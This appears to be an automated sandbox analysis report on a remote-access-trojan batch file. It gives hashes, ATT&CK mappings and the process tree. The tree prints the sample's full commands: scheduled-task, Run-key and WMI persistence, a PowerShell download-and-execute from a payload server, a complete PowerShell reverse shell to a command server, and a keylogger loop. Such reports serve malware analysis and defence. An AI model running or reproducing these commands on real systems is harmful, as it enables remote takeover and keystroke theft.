116804a73f01f803c889e65a31b03d27869e5299f4f7465497e8e0d18ed09c8e

Analysis

max time kernel
149s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_50316_014214.bat
Size 4KB
Sample260529-2ac5qaax2t
SHA256 116804a73f01f803c889e65a31b03d27869e5299f4f7465497e8e0d18ed09c8e
MD5 ae50604db8c2ac83c5488d7fe82cfe1a
SHA1 04bc2d31257a28b1e55f3fb71959c1bbbb230777
SHA512 2ce98ee6868643e7660f2f772f661d6c4df58c560c9505fcbf9e00ef73f95d07542d6626b9b381fc904860b50d89375d53dd496831e4ffb0fb8d8d84952c2dd9
SSDEEP 96:4VmIPYWXyFAiibirgiI2Ste7JbGNO5rPgFBdiFgZk8mvlo1m8:4VmCXy2iibniIdyhPkiFgkHlb8
TLSH
T185A1E823975B7220E9F42948DA333C18972CD5F71300C69EBA49CDC41E8CA07D6265EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_50316.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2572	powershell.exe
4588	powershell.exe
4504	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_50316 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_50316.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
736	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3916	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
956	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4588	powershell.exe
4588	powershell.exe
4588	powershell.exe
2572	powershell.exe
2572	powershell.exe
2572	powershell.exe
4504	powershell.exe
4504	powershell.exe
4504	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4316	WMIC.exe
Token: SeSecurityPrivilege	4316	WMIC.exe
Token: SeTakeOwnershipPrivilege	4316	WMIC.exe
Token: SeLoadDriverPrivilege	4316	WMIC.exe
Token: SeSystemProfilePrivilege	4316	WMIC.exe
Token: SeSystemtimePrivilege	4316	WMIC.exe
Token: SeProfSingleProcessPrivilege	4316	WMIC.exe
Token: SeIncBasePriorityPrivilege	4316	WMIC.exe
Token: SeCreatePagefilePrivilege	4316	WMIC.exe
Token: SeBackupPrivilege	4316	WMIC.exe
Token: SeRestorePrivilege	4316	WMIC.exe
Token: SeShutdownPrivilege	4316	WMIC.exe
Token: SeDebugPrivilege	4316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4316	WMIC.exe
Token: SeRemoteShutdownPrivilege	4316	WMIC.exe
Token: SeUndockPrivilege	4316	WMIC.exe
Token: SeManageVolumePrivilege	4316	WMIC.exe
Token: 33	4316	WMIC.exe
Token: 34	4316	WMIC.exe
Token: 35	4316	WMIC.exe
Token: 36	4316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4316	WMIC.exe
Token: SeSecurityPrivilege	4316	WMIC.exe
Token: SeTakeOwnershipPrivilege	4316	WMIC.exe
Token: SeLoadDriverPrivilege	4316	WMIC.exe
Token: SeSystemProfilePrivilege	4316	WMIC.exe
Token: SeSystemtimePrivilege	4316	WMIC.exe
Token: SeProfSingleProcessPrivilege	4316	WMIC.exe
Token: SeIncBasePriorityPrivilege	4316	WMIC.exe
Token: SeCreatePagefilePrivilege	4316	WMIC.exe
Token: SeBackupPrivilege	4316	WMIC.exe
Token: SeRestorePrivilege	4316	WMIC.exe
Token: SeShutdownPrivilege	4316	WMIC.exe
Token: SeDebugPrivilege	4316	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4316	WMIC.exe
Token: SeRemoteShutdownPrivilege	4316	WMIC.exe
Token: SeUndockPrivilege	4316	WMIC.exe
Token: SeManageVolumePrivilege	4316	WMIC.exe
Token: 33	4316	WMIC.exe
Token: 34	4316	WMIC.exe
Token: 35	4316	WMIC.exe
Token: 36	4316	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2328	WMIC.exe
Token: SeSecurityPrivilege	2328	WMIC.exe
Token: SeTakeOwnershipPrivilege	2328	WMIC.exe
Token: SeLoadDriverPrivilege	2328	WMIC.exe
Token: SeSystemProfilePrivilege	2328	WMIC.exe
Token: SeSystemtimePrivilege	2328	WMIC.exe
Token: SeProfSingleProcessPrivilege	2328	WMIC.exe
Token: SeIncBasePriorityPrivilege	2328	WMIC.exe
Token: SeCreatePagefilePrivilege	2328	WMIC.exe
Token: SeBackupPrivilege	2328	WMIC.exe
Token: SeRestorePrivilege	2328	WMIC.exe
Token: SeShutdownPrivilege	2328	WMIC.exe
Token: SeDebugPrivilege	2328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2328	WMIC.exe
Token: SeRemoteShutdownPrivilege	2328	WMIC.exe
Token: SeUndockPrivilege	2328	WMIC.exe
Token: SeManageVolumePrivilege	2328	WMIC.exe
Token: 33	2328	WMIC.exe
Token: 34	2328	WMIC.exe
Token: 35	2328	WMIC.exe
Token: 36	2328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2328	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2932 wrote to memory of 1296	2932	cmd.exe	87
PID 2932 wrote to memory of 956	2932	cmd.exe	88
PID 2932 wrote to memory of 4316	2932	cmd.exe	89
PID 2932 wrote to memory of 2328	2932	cmd.exe	90
PID 2932 wrote to memory of 4992	2932	cmd.exe	91
PID 2932 wrote to memory of 3916	2932	cmd.exe	113
PID 2932 wrote to memory of 736	2932	cmd.exe	116
PID 2932 wrote to memory of 4588	2932	cmd.exe	117
PID 2932 wrote to memory of 2572	2932	cmd.exe	118
PID 2932 wrote to memory of 4504	2932	cmd.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_50316_014214.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_50316" /tr "C:\Users\Admin\AppData\Local\Temp\_50316.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1296
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_50316" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_50316.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:956
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_50316", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4316
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_50316", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_50316.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2328
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_50316.txt
  2⤵
  PID:4992
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3916
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_50316.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 35884da3e265d780c861a2cc9b4dd54fc08201b0899bd7b3f1525e072b04803f
MD5 abf9d24465b5c3be6e97f17673d1c165
SHA1 f892de0582a71d11ad0c152f3692963264408e65
SHA512 2a8950e0cdc6d78c011d69f3bbad7269be218ae78f5e59ed188bfcf39dcde527adcdb650018772416c21826406ed37931067ccc2202c7d4a8f1adb2165dd252c
TLSH
T148117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_hya3dpav.jgn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hya3dpav.jgn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4588-9-0x00000275B1090000-0x00000275B10B2000-memory.dmp

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